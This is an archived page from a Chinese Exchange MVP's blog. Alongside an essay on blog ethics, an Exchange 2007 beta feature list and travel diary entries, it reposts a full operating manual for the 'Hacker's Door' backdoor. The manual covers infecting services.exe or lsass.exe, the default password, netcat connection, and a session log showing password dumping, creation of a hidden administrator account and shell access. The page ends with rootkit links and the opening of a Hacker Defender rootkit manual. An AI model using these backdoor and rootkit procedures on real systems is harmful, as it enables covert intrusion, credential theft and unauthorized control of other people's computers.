Exchange MVP Blog

EHLO & HELO……

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  325篇文章 :: 4篇收藏:: 385篇评论:: 4个Trackbacks

公告

本Blog的任何言论仅代表个人观点,与其所在的公司没有任何关系。本Blog内容是按原样提供的,作者与所属公司并不对其提供任何形式的担保。此外还否认所有暗示的保证,包括但不局限于在任何特定用途的适用性方面的暗示保证。由于本站内容的使用或性能表现带来的全部风险将由使用者自己承担。任何由于使用或无法使用本站内容而带来的损失(包括但不局限于商业利润、业务中断、业务信息或其他财产上的损失),即使在本站作者曾经被提醒可能出现这些损失的情况下,本站及其作者或涉及内容创建的任何其他人等对任何上述的损失概不负责。转载或录用文章请保留版权出处或与作者联系。

Microsoft MVP(2006-2007)& MCS

Windows Server System - Exchange Server

文章

收藏

相册

Blogs

Exchange Websites

Friend Blogs

General

Lover

Microsoft Websites

存档


正在读取评论……


2006年05月


今天是无聊的一天,因为好朋友纪飞要来北京,我怕他找不到我,于是一直在宾馆等他,结果一等再等都不见人来,唉。。。白白浪费了我一天的时间。以后还是不要等人的好。

既然无聊,所以就上网看东西啦,在一个收藏的做菜的网站上看到了一个关于“追债博客”的好玩事情,反正也是无聊嘛,就去看了看,没想搜索出一大堆结果。大致看了下内容,实际上内容很简单,就是一对男女,曾经是网络恋人,后来分手了,于是女方要求男方赔偿一些费用和感情债。这么一件简单的事情,就因为BLOG这个载体,闹得满网风云,哈哈。。试想,如果是几年前,这样的破事估计没几个人有兴趣去评论,可是现在不一样啊,有了BLOG这个红火的载体,一点小事也能被吵成明星啊。于是乎竟然有网站把这个做成了专题,呵呵,,当事人比超女还要热,一切都是BLOG引发的。

我到不想对这件事情做什么评论,本来“清官难断家务事”啊,何况我不是清官,感情的事情没什么对和错的,在一起的时候,什么都是对的,分开了,不爽了,就什么都不对了。这也无可非议啊,自己投入了感情,必然遭到伤害,那总要把这样的伤害转嫁到他人身上,才能获得一点心理平衡嘛。自己过的不好,也不要别人过的好,这就是中国人的劣根性吧。

看了各方的说法,都是公说公有理,婆说婆有理。本来嘛,感情的事连当事人都说不清楚,看客又有什么资格去发表意见呢。但就是因为这是BLOG啊,是个平民的舞台,所以是猫是狗都可以来发表一下自己的看法,即使他的看法是荒谬的,我们没有权利去限制别人的言论自由啊。

看起来以后要想出名太容易了,只要在BLOG上爆料一点自己的不齿趣事,或是发布点大家感兴趣的东西,管他是低俗或是荒谬,有人看就是硬道理。或者不惜丑化一下自己,或是透露点个人或他人的隐私,也是不错的选择,我保准你不出两天,就有中央电视台的记者上门找你的,信不信?

呵呵,,现在就是越有争议的东西越有人看,就象超女一样,也是闹的沸沸扬扬,不过无论是主办方还是当事人,都不觉得有什么问题,反而从骨子里希望闹下去,因为这样不仅可以提升知名度还可以有利益可获啊。无论当事人自己是不是希望通过这样的吵作来达到自己的目的,但事实就是它有吵作的嫌疑且确实有人从中获利了。

而这一切的缘由就是BLOG是一个平民化的东西,大家把它当做自家的菜园,可以随心所欲去发表自己的事情,好象自己的日记一样,可以无所不谈。而且大家还觉得这是言论自由的体现,其实错了,这不是言论自由的体现,而是对法律的践踏,你的行为已经构成了犯罪,你知道吗?所谓的言论自由,是指在不侵害他人利益情况下的言论自由发表权,如果你侵害了他人利益,就不再是言论了自由了。而BLOG做为一个半公开的网络媒体,可以吸引众多人的阅读,影响面很大,传播力很强,所以它不是你家的菜园,不能发表不应发表的言论,好比你做一个项目,你能把项目资料发布在BLOG上吗?显然不能,这是商业机密。同样的,你也不能发表有损他人利益的言论和评论。我认为国家应该对BLOG言论进行立法,禁止传播非法言论,也包括漫骂和对他人的隐私透露等。这样我们才能利用好BLOG这一载体。

BLOG是平民的东西,所以在中国有巨大的市场,想想看中国有1亿多网民,从这中间可以获得多大的利益啊,所以无论是IBM还是微软,都在致力于BLOG的运营,BSP更是多不胜数。可见其利益的巨大啊。但这些利益的获得不能以伤害他人利益为前提的啊,更不能挑起事端,引来关注,以达到自己的目的。

BLOG,希望你走好。。

 




 

The Exchange Server 2007 (formerly Exchange 12) Team is pleased to announce that a more recent Beta build is available for download, called DF4 (Dogfood 4). Here is a list of many of the updates:





Store:



In the Store area, we are adding several feature, these include:





  • Management and deployment of client and server for RPC/HTTP

  • Customizable and rich text format System Messages (such as the overall message & NDRs)

  • Management of Mailbox Locale

  • Messages sent via Outlook in cached mode will be uploaded only once

  • The ability to monitor and limit the resource consumption of individual users






Admin



All Work Centers (Recipient, Server, Organization, Toolbox) are complete..



All GUI is done for each role (mailbox, client access, edge, bridgehead, and unified messaging)



Start Page walks you through steps it may take to finish deploying advanced features on a server and step-by-step walk through configuration of complex features





Polished Console Look - New Vista style icons throughout console and cool wizard skin



Cmdlet Exposure in GUI - Management shell (monad) task details are shown at wizard completion









Cmdlet Infrastructure



Get/Set Permissions - the ability to set AD ACLs and MAPI Client perms with cmdlets



Shell enhancements 鈥?ability to support wildcards, improve identity / pipelining, support input from import-clixml, improved error reporting and what-if support for AD based cmdlets



Event Logging support 鈥?allows each actions performed to be logged to an NT eventlog



More granular delegation model 鈥?out of the box support for 4 *canned* roles (Exchange Org, Recipient, Server and View-Only) along with support for custom delegation via 鈥渟cripted鈥?solution leveraging E12 USG model and get/set permissions cmdlets





Directory



Encryption of AD traffic 鈥?all traffic between AD driver and the AD will be encrypted.



Preferred GC/DC for management 鈥?ability to specify a particular GC or DC when performing an operation



New Web Distribution Mechanism for OAB 鈥?allows us to run in a PF Free environment + leverage O12 usage of BITS to download the OAB



Added schema to enable support for a Hierarchical Address Book and Yomi Details templates



Schema Optimizations 鈥?upgrade from Ti to E12 will be faster, new install will be optimized and better progress will be provided (more granular schema files)





Migration



Administrative message removal 鈥?support for filtering messages in the move-mailbox task (e.g. Joe sent out the salary spreadsheet to the entire org, we have to get that out of people鈥檚 mailboxes before they see it!)



Move Content to a folder 鈥?ability to move messages to one folder within a mailbox



RSG support - support E12 RSG as source for move-mailbox



O12 Delegation support in X-Org moves 鈥?allows admin to move a delegate or a manager or both between organizations 鈥?assumes a two way trust





Setup



The ability to add/remove roles via add/remove programs, also includes, Role Picker, Guidance, Start Page, and Maintenance mode.



Updated AD preparation 鈥?/preparedlegacypermissions , /PrepareAD, /PrepareDomain



Delegated setup 鈥?ability to have a lower level (non Exchange Org Admin) to install certain Exchange servers



Unified Setup Log file 鈥?one log file that contains all relative setup execution steps which will make it easier to troubleshoot setup problems





Monitoring:





  • 64-bit Support for MOM

  • MOM Reporting Server for all Reports

  • Availability Reports: UM, ActiveSync, and Availability Summary

  • Message Hygiene Reports: Content, Connection, Recipient, Sender, and Attachment Filters, and Protocol Analysis

  • Disk Performance Report

  • Mailbox Count Report




Calendaring:



Calendar diagnosability: server-side logging plus in-depth analysis of calendars to find and fix any consistency issues



Notify organizer when a recipient forwards a meeting.



Modifying the 鈥淐alendar Options鈥?page in OWA to enable control of our server-side calendar attendant.





  • Enabling customizable response messages and control of resource booking through an OWA options page.






Email Lifecycle Policies:





  • Replicating a user鈥檚 folder hierarchy under in their clean-up folders so they can better review what is heading for expiration

  • ELC logging for compliance reporting.




HA/DR:



In the HA/DR area, we are adding a critical set of features to fill out our E12 HA, Replication and DR solutions. These include:







  • Automatic Initial Seeding of the replica: completely automatic configuration

  • Incremental Reseeding when the 2 copies diverge: after a failure, instead of recopying of data back to the primary, only a small fraction of the data needs to be recopied

  • Transport Dumpster Queue to recoup data loss on lossy-failovers: taking advantage of the persisted transport queues to recovery mail still caught in the last log file when the JET DB Log drive fails.

  • Web Quorum from MSCS: eliminating the need for a 3rd server to act as a voter with our CCR servers.

  • Content Indexing support in CCR configuration

  • Redundant Network Path support on log copy






The Edge





Active Message Protection - The next generation of antispam technologies.



Intelligent Message Filter with signatures to improve accuracy.



IPRS - Ability to learn locally from sender behavior and block connections from misbehaving senders.



Edge Rules - deploy rules to reject mail storms /floods / worms at the edge.





Message Layer Security (MLS)



An internet scale key exchange and message encryption technology designed to allow adhoc messaging security. Messages delivered via MLS can be authenticated to the senders internet domain, and are kept confidential from sending domain to recipient domain. These messages will be shown in Outlook 12 (in B2TR) and OWA (later build TBD) with special security icons similar to client S/MIME.





Edge Subscriptions



ActiveDirectory configuration data is securely replicated out to edge servers to reduce the pain of managing recipient filtering, safe senders, edge-bridgehead routing and remote domain policies.





The Bridgehead





Accepted and Remote Domain Policies



Configure security requirements and delivery restrictions for communications with specific domains



Supports TLS, MLS, Basic Auth+TLS and External security mechanism





Compliance Features



Message Classifications 鈥?Admin can deploy rules and message classifications to deploy custom message policies. OLK12 users can associate a class with a message at compose time.



Organizational (Bridgehead) Rules - deploy rules to restrict messaging based on sender / recipient / content.



Journaling - retain copies of messages sent to / from users or members of groups









RMS integration



Prelicensing 鈥?Rights Managed messages have a license attached to allow roaming access to content without a public facing RMS server.







Web Services



Client-scheduled ("pull") notifications & server-scheduled ("push") notifications



Contacts



Tasks



Recurring PIM items (calendar items and tasks)



Full MAPI property support



Improved development experience



MOM integration



Read receipt handling



Improved server to server authentication delegation



Grouped searches



Search and search folders



Item and query language support



Attachment support



HTML and plain-text append



POP and IMAP



IMAP search



POP and IMAP Calendar URI inclusion



Unified Messaging



Speech recognition for Email



Speech recognition for Voicemail



Speech recognition for Contacts



Resolving callers against contacts



IP PBX inter-op



Multi-language setup



Improved prompt provisioning for the Automated Attendant



Completion of performance counters and events



Runtime system diagnostics



GSM codec support



TLS support





Sync



What鈥檚 new for the Information Worker with E12 and Crossbow





HTML Email 鈥?HTML message formatting is preserved when reading, replying-to, or forwarding email (Note this feature does not require Crossbow).





Email Flagging 鈥?Set flags, mark flagged items complete or clear flagged items from the mobile device. Items flagged on the device will appear in the ToDo bar in Outlook 12.







Search 鈥?Search your mailbox for any items not on your device. Read, download attachments, reply-to, or forward any item within your search results.







Sharepoint / UNC Document Access 鈥?/SPAN> Click on a link in email that points to a file in a Sharepoint Document Library or UNC share and download that item. In E12 Beta 2 we will be working with the Windows Mobile team to deliver a full-featured browse experience, enabling you to click on a link to a folder or item within email, type in a URL, or select from a list of favorites that mirrors your OWA favorites when browsing Sharepoint Doc Libraries or UNC shares.





Faster Fetch 鈥?Quickly download the rest of large items that were truncated when initially synchronized to the device





Out of Office 鈥?Turn OOF off/on and edit your OOF message from your mobile device





Improved Calendaring on the Device - View attendee status for meetings you鈥檝e organized. Forward, reply-to, & reply-all-to appointments in your calendar on the mobile device. Crossbow will also implement the calendar workflow changes for improved meeting reliability (i.e. changes to key properties like location must generate a meeting update).





IRM Prelicensing - Greatly improved user experience (works offline, low latency to read content) for rights protected content synchronized to the device. (Uses Edge feature coming in Beta 2)







IT Pro





For our IT Professional we are focusing on three major themes:



- Keep the data on the device secure



- Make it easy to provision devices over-the-air



- Keep it easy (read "cheap") to support





In Beta 2 we are focusing on:





Additional Device Security Settings 鈥?Support for more robust password settings, device encryption, plus the ability to control SharePoint/UNC Document access, Camera, and SMS.



Sync administration built into ESM 鈥?IT Pros can create new mobile sync polices, assign users to policies, remote wipe and remove devices all from ESM.



Exchange ActiveSync Reports - Out-of-the-box reporting to show per user and per server Sync activity. CSV output is easily importable into SQL reporting solution.



Password Recovery 鈥?Enable devices to send up a temporary recovery password to unlock a device.



Synthetic ActiveSync Transactions 鈥?Provide the IT Pro the ability to monitor the health of their Exchange ActiveSync deployment through with this monad task.



MOM Support 鈥?Monitor overall health of Exchange ActiveSync through MOM integration.







OWA





For OWA Premium:



Junk Mail and Anti-Phishing



Change Password



Print



Working Hours interop with Outlook



Explicit Logon



Report forms (read receipt, ndrs, no *send again*)



Flags and Categories, including Advanced Search UI



Help UI



Redirection and Proxying between CAS servers



Quotas, Policy, Compliance



Read Search Folders created by other clients



Spellchecking



Tasks Views and Forms



Web Parts for SPS interop





For OWA Light (formerly known as OWA Basic):



Folder Management



Move Item



Meeting Request/Invitation/Response



Recurrence



Remaining Options



Contacts View and Form



FBA+SSL by default








今天是返回北京的第一天工作,仍然有很多的事情要做,整理项目完成文档,总结群集问题汇报,等等。。

纪飞要到北京来上班了,他是IBM的测试工程师,哈哈,,不错不错。

明天还要加班,呵呵。。




今天是返回北京的日子,由于车是早上8点半的,所以我们起得都很早,昨天晚上就依次通知了早上8点在大堂集合的消息。我是在早上6点起来的,去餐厅吃了早餐后,回房间整理好东西,就下楼退房了。我们一共住了9天的时间,这次的实施总体来说是顺利的。心情很好。。

由于是早上,退房的人很多,手续办理了很长时间,而且由于饭店不能提供住宿明细单,这到是一个麻烦的事情,只好让其在发票上详细说明天数,呵呵。。(我们不提供明细不能报销的)处理好全部事情后,我们分批打车来到了距离饭店大约5公里的客运站。

到达后,检票上车,一切很顺利啊,心情所以很好很好。8点半,车准时离开,我们回家了,路上需要6个半小时,呵呵,,可以好好休息了。

可惜的是好景不长,车刚上高速公路,就发现车后部冒烟了,啊?司机连忙停车检查,发现是一个液压油管断了,液压油全部漏了,车看来是没法开了,等着吧。说是来人来修理,呵呵,。原以为等个几十分钟就好了吧,没想到一等就是2个小时过去了,郁闷啊。

更让我郁闷的是,在等修理的2个小时里,我们亲眼目睹了一场交通事故,一辆三菱车为了超过前面的客车,快速的撞向了中间隔离拦,又被隔离拦弹到了路的另一边的隔离栏上,再次反弹后停在了路中间,车头都烂了,车轮也飞了,所辛的是车里的三个人安然无恙。这一系列的动作几乎是一瞬间完成的,我们都吓住了。

我下车用手机记录下了撞坏的车的样子,真的很可怕的。

又等了一会,来修理的人终于来了,然而经过一个多小时的修理后,仍无法修好。这下只能换车了,于是我们缓慢的开到了前面的高速路口,换了另一辆车,这才继续向北京行驶了。这一来,我们已经在这里耽搁了整整4个小时了。

好在之后的行程还算比较顺利,在延迟了近4个小时后的晚上7点多,我们终于到达了北京。这次的行程真的是郁闷透了,呵呵。。

昨天,也就是我们出发的前一天,也在几乎同一个的位置上,在京沈高速518公里处,也发生了一起28车连环相撞的恶性事故,今天又在这里发生了事故,所幸的是没有人员伤亡。看来以后还是座火车比较安全的说,呵呵。。

晚上7点半多,我安全到达了宾馆,睡觉了,困。。。

明天又要开始上班了,下次行程已经确定。

 




    黑客之门(hacker's door) 1.0 版      
 黑客之门采用的目前一些先进的后门技术,它只有一个dll文件,通过感染系统文件启动自身,被
感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;它本身不开端口,而是重用系统
进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性是非常好的,而且穿透防火墙也是很容易的事情
。这个版本文件不大,只提供一些很有用的命令。目前还没有发现任何工具能查到这个后门,象fport,klist
er,RKDetector等查后门的工具都失效了。

申明:本人发布这个工具是为了向大家展示最新的后门技术,使大家能够更好的防范它,同时提高自己的技术,
对于使用本工具造成的后果,本人盖不负责。

(如果你对使用说明中有什么不理解的,可以看动画教程,在我的主页上有,
动画教程中的“0CLOGI0”应该为“NCLOGIN",不知道这个录像软件有什么问题,
把N录成0了)

  
一、配置
  运行HDConfig.exe,选择要进行配置的黑客之门服务器端,默认是hkdoordll.dll,加载的时候会提示你输入密码,
如果你以前没有配置过,那就是初始密码yyt_hac,否则就是你自己配置的密码,然后你就可以修改密码了。这个密码用于
连接和卸载后门。

二、安装

C:\>rundll32 hkdoordll,DllRegisterServer conime.exe 1

  上面的方式只感染进程,而不感染系统文件,机器重启或进程退出后门也就退出了,适用于在自己的
机器上做测试,如果你不是做测试,就用下面的安装方式。

其中 hkdoordll是黑客之门服务器端,必须放在system32目录下,可以改名,conime.exe是你要感染的进程
默认是services.exe,如果要感染系统文件,在system32目录下的不用带路径,其它的就要带路径,第一个1是安装方式,
0表示只感染系统文件,1表示只感染进程,2表示感染系统文件,同时感染进程,默认是2;

C:\>rundll32 hkdoordll,DllRegisterServer

上面是默认安装方式,它会感染services.exe文件,以便在系统重启时启动后门,同时把自己加载到
services.exe进程中
注意:除了csrss.exe,smss.exe外,其它的系统文件都可以感染

要判断有没有安装成功,就要看system.log里的信息,方法如下:

C:\WINNT\system32>type system.log  //这个文件的生成会有延时,多type几次
系统找不到指定的文件。

C:\WINNT\system32>type system.log
9/2/2004 10:36:45 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1,            Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
9/2/2004 10:36:45 l=0
Freeing "kernel.dll":
9/2/2004 10:36:45 l=0
Couldn't free

9/2/2004 10:36:45 l=0
Entering DLL_PROCESS_ATTACH,Process:SERVICES.EXE
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:45 l=0
Loading "kernel.dll":
9/2/2004 10:36:45 l=0
Loaded (0x10000000)

9/2/2004 10:36:45 l=0
The backdoor is installed successfully!

9/2/2004 10:36:45 l=0
UnloadDriver successfully!
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:47 l=0
Start hacker's door successfully!

C:\WINNT\system32>

看到“Start hacker's door successfully!”就说明安装成功了,否则就是没有成功,
你可以试试感染别的系统文件。


C:\>rundll32 hkdoordll,DllRegisterServer lsass.exe

上面是感染lsass.exe文件,同时把自己加载到lsass.exe进程中

C:\>rundll32 hkdoordll,DllRegisterServer c:\winnt\explorer.exe

上面是感染explorer.exe文件,同时把自己加载到explorer.exe进程中

注意:
 安装成功或失败信息在system32\system.log里有记录。

在终端服务器中,直接安装出现如下错误:

C:\WINNT\system32>rundll32 kernel,DllRegisterServer

C:\WINNT\system32>type system.log
9/2/2004 10:46:28 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1,            Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
9/2/2004 10:46:28 l=0
InjectThread:Error CreateRemoteThread,error code:8
9/2/2004 10:46:28 l=0
InjectThread failed!


C:\WINNT\system32>


因为在msdn里说

Terminal Services isolates each terminal session by design. Therefore,
CreateRemoteThread fails if the target process is in a different session
than the calling process.

因此你用下面的方法安装:

C:\WINNT\system32>psexec \\127.0.0.1 -u administrator cmd.exe

PsExec v1.31 - execute processes remotely
Copyright (C) 2001-2002 Mark Russinovich
www.sysinternals.com

Password:

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>rundll32 kernel,DllRegisterServer

C:\WINNT\system32>type system.log  //这个文件的生成会有延时,多type几次
系统找不到指定的文件。

C:\WINNT\system32>type system.log
9/2/2004 10:36:45 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1,            Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
9/2/2004 10:36:45 l=0
Freeing "kernel.dll":
9/2/2004 10:36:45 l=0
Couldn't free

9/2/2004 10:36:45 l=0
Entering DLL_PROCESS_ATTACH,Process:SERVICES.EXE
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:45 l=0
Loading "kernel.dll":
9/2/2004 10:36:45 l=0
Loaded (0x10000000)

9/2/2004 10:36:45 l=0
The backdoor is installed successfully!

9/2/2004 10:36:45 l=0
UnloadDriver successfully!
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:47 l=0
Start hacker's door successfully!

C:\WINNT\system32>

这样就安装成功了

三、卸载

C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac conime.exe 1

这里yyt_hac是连接密码,必须正确,否则不能卸载。其它的参数同安装意义差不多,它根据安装的
方法来卸载后门,上面一行的意思就是把后门从conime.exe卸掉。

C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac 
上面就是把后门从services.exe进程中卸掉,同时修复被感染的services.exe文件。

C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac  lsass.exe
上面就是把后门从lsass.exe进程中卸掉,同时修复被感染的lsass.exe文件。

C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac  c:\winnt\explorer.exe

上面就是把后门从explorer.exe进程中卸掉,同时修复被感染的explorer.exe文件。

 卸载成功或失败信息在system32\system.log里有记录。
四、使用

 用nc连接被安装后门的机器的任意一个开的端口,这个端口必须能连接上,下面用139端口做例子,
然后输入“NCLOGIN 连接密码”,连接密码默认是yyt_hac,你可以在自己机器上试验,只要一台机器就可以了,
不需要在一台机器上安装,用另一台机器连接。支持多个连接,目前最多3个。
 注意:有好多人对这一步不知道怎么做,我打算做一个动画教程

先用xport扫描目标机器开的端口:

C:\>xport 192.8.8.1 1-300 -m tcp
X-Port v1.3 - command line port scanner
Code by glacier <glacier@xfocus.org>
http://www.xfocus.org

Scanning 192.8.8.1 1-300 ...

Remote host:   192.8.8.1 (192.8.8.1)
Local address: 192.8.8.1
Scan mode:     TCP connect
Port count:    300
Thread count:  50

Port 135 is opened: [Unknown service]
Port 139 is opened: [Unknown service]

Port scan complete, total 300 port, 2 port is opened, use 8012 ms.

Match operate system failed.
Try to check operate system by netbios ... succeed!
Remote operate system: Windows NT 5.0

上面就结果说明135,139端口都可以连接

C:\>nc 192.8.8.1 135   //用nc连接后门,先连接135端口试试
NCLOGIN 123456
        This is the server of hacker's door made by yyt_hac,
Welcome to http://www.yythac.com,use '?' to get command list
HKDOOR>?   //得到命令列表
?-------------------[command],Get command list and the descript of the command
hdver-------------------Get the version of hacker's door installed
findpass-------------------Get all logon user's username and password
open3389-------------------[port] [/r],with 'port' to special termserver 's port
,with '/r' to reboot system
opentelnet-------------------[port],open telnet server with [port],default port
is 23
pslist-------------------Get process list from remote machine
pskill-------------------pID,Kill the process of remote machine
getsysinfo-------------------Get the system info from remote machine
shutdown-------------------[/r],With '/r' to reboot system,else power off system

exitshell-------------------Exit the shell of hacker's door
winexec-------------------command,execute command using winexec function
openshell-------------------[cmdfile],use cmdfile to create a process to execute
 command
HKDOOR>findpass   //查找当前登录用户的密码
The session:0 login information is:
Domain:YYT_HAC,User:Administrator,Password:123456
HKDOOR>hdver
The version of hacker's door server is 1.0
Welcome to http://www.yythac.com
HKDOOR>getsysinfo   //得到目标机器的基本信息
Number of CPU:1
Type of CPU:Intel  Pentium III or high
System Version:Windows nt 5.0 build:2195
Service Pack:4.0
Product type:Windows 2000 Server
Computer Name:YYT_HAC
System Dir:C:\WINNT\system32
HKDOOR>winexec "net user test /add" //不开命令行窗口执行命令,加一个test的用户
The command execute sucessfully!
HKDOOR>winexec "net localgroup administrators test /add"  //把test用户加入管理员组
The command execute sucessfully!
HKDOOR>openshell    //开命令行窗口
Command shell is opened successfully!
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>cd \
cd \

C:\>net user     //查看用户,发现test用户加进来了
net user

\\ 的用户帐户

-------------------------------------------------------------------------------
__vmware_user__          Administrator            ASPNET
Guest                    IUSR_YYT                 IWAM_YYT
TsInternetUser           VUSR_YYT                 VUSR_YYT_HAC
test
命令运行完毕,但发生一个或多个错误。


C:\>dir
dir
 驱动器 C 中的卷是 windows
 卷的序列号是 3C85-544F

 C:\ 的目录

2004-03-24  12:12       <DIR>          DELL
2004-08-08  10:04       <DIR>          Documents and Settings
2004-09-02  22:20       <DIR>          Downloads
2004-03-22  09:28       <DIR>          DRIVERS
2004-05-30  21:21       <DIR>          drvrtmp
2004-09-02  22:44       <DIR>          hkdoor
2003-08-18  03:02       <DIR>          Inetpub
2004-04-28  16:20       <DIR>          log
2004-05-30  00:02       <DIR>          My Music
2004-09-02  18:17       <DIR>          Program Files
2003-08-16  16:03       <DIR>          WINDOWS
2004-09-02  22:20       <DIR>          WINNT
               0 个文件              0 字节
              12 个目录    324,079,616 可用字节

C:\>set
set
ALLUSERSPROFILE=C:\Documents and Settings\All Users.WINNT
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=YYT_HAC
ComSpec=C:\WINNT\system32\cmd.exe
DRIVERNETWORKS=C:\PROGRA~1\COMPUW~1\DRIVER~1\DRIVER~2
DRIVERWORKS=C:\PROGRA~1\COMPUW~1\DRIVER~1\DRIVER~3
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0905
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User.WINNT
windir=C:\WINNT

C:\>ver
ver

Microsoft Windows 2000 [Version 5.00.2195]

C:\>d:
d:
设备未就绪。

C:\>f:
f:

F:\>dir
dir
 驱动器 F 中的卷是 vc
 卷的序列号是 EED5-F051

 F:\ 的目录

2004-08-10  14:29       <DIR>          Documents and Settings
2004-03-08  18:07       <DIR>          fore
2004-03-22  20:01       <DIR>          i386
2003-09-07  05:37       <DIR>          My Music
2004-03-22  16:24       <DIR>          NTDDK
2004-06-17  18:15       <DIR>          ON2000
2004-08-19  16:26       <DIR>          ON2000_new
2004-03-26  13:59       <DIR>          Perl
2004-07-28  12:46       <DIR>          Program Files
2004-03-25  09:19       <DIR>          sourcecode
2004-07-28  12:44       <DIR>          WINNT
2004-09-02  22:43       <DIR>          WUTemp
               0 个文件              0 字节
              12 个目录    921,036,288 可用字节

F:\>pslist    //查看目标机器上的进程
ProcessID         ProcessName
0                   [System Process]
8                   System
184                 SMSS.EXE
208                 CSRSS.EXE
228                 WINLOGON.EXE
256                 services.exe
268                 LSASS.EXE
476                 svchost.exe
504                 spoolsv.exe
544                 msdtc.exe
652                 svchost.exe
680                 mdm.exe
736                 alertsvc.exe
804                 navapsvc.exe
884                 npssvc.exe
1204                regsvc.exe
1216                mstask.exe
1252                termsrv.exe
1284                vmware-authd.ex
1296                WinMgmt.exe
1324                dfssvc.exe
1336                svchost.exe
1476                explorer.exe
1636                pctspk.exe
1684                hkcmd.exe
1704                Apoint.exe
1648                PFW.exe
1708                prpcui.exe
1732                realsched.exe
1740                ApntEx.exe
1748                internat.exe
1768                conime.exe
1804                navapw32.exe
640                 inetinfo.exe
1516                svchost.exe
1856                FlashBack Recor
1816                DG-506C.exe
1580                TASKMGR.EXE
1588                notepad.exe
388                 notepad.exe
2024                CMD.EXE
2036                NC.EXE
2004                CMD.EXE

F:\>pskill 1684   //杀掉进程id为1684的进程
The process has been killed!

F:\>exit   //退出命令行窗口

HKDOOR>?   //得到命令列表
?-------------------[command],Get command list and the descript of the command
hdver-------------------Get the version of hacker's door installed
findpass-------------------Get all logon user's username and password
open3389-------------------[port] [/r],with 'port' to special termserver 's port
,with '/r' to reboot system
opentelnet-------------------[port],open telnet server with [port],default port
is 23
pslist-------------------Get process list from remote machine
pskill-------------------pID,Kill the process of remote machine
getsysinfo-------------------Get the system info from remote machine
shutdown-------------------[/r],With '/r' to reboot system,else power off system

exitshell-------------------Exit the shell of hacker's door
winexec-------------------command,execute command using winexec function
openshell-------------------[cmdfile],use cmdfile to create a process to execute
 command
HKDOOR>exitshell  //退出后门
Exit Successfully

C:\>nc 192.8.8.1 139  //通过139端口连接后门
NCLOGIN 123456
        This is the server of hacker's door made by yyt_hac,
Welcome to http://www.yythac.com,use '?' to get command list
HKDOOR>openshell
Command shell is opened successfully!
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>rundll32 kernel,DllUnRegisterServer 123456  //卸载后门
The command is too long to recv completely!

C:\WINNT\system32>exit

HKDOOR>exitshell
Exit Successfully

C:\>


五、和我联系

如果你发现的bug,请和我联系,最好说明使用的环境,同时把system32\system.log发给我。

个人主页:http://www.yythac.com
Email:webmaster@yythac.com
      yyt_hac@163.com
QQ:47090005

 

 




PJF的BLOG:http://pjf.blogone.net/

Rootkit.com:http://www.rootkit.com/index.php

持续补充中……




=============[Hacker defender -中文使用说明]================

                      NT Rootkit

                      ----------

作者:     Holy_Father <_father@phreaker.net">holy_father@phreaker.net>

        Ratter/29A <ratter@atlas.cz>

版本:     1.0.0

开发日期:   01.01.2004

网站:     http://rootkit.host.sk, http://hxdef.czweb.org

开发群:   ch0pper <THEMASKDEMON@flashmail.com>

      aT4r <at4r@hotmail.com>

      phj34r <phj34r@vmatrics.net>

      unixdied <0edfd3cfd9f513ec030d3c7cbdf54819@hush.ai>

      rebrinak

      GuYoMe

      ierdna <ierdna@go.ro>

      Afakasf <undefeatable@pobox.sk>

说明:   Czech & English by holy_father

      French by GuYoMe

      Chinese by Ziqi

 

=====[1,目录]==============================================

1. 目录

2. 概要

    2.1 关于

    2.2 申明

3. 使用说明

4. Ini文件说明

5. Backdoor

    5.1 Redirector

6. 技术支持

    6.1 版本

    6.2 钩子API函数

    6.3 已知的 bugs

7. Faq

8. 文件

 

=====[ 2. 关于]================================================

Hacker defender (hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI 6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。

=====[ 2.1 概要 ]=============================================

程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。

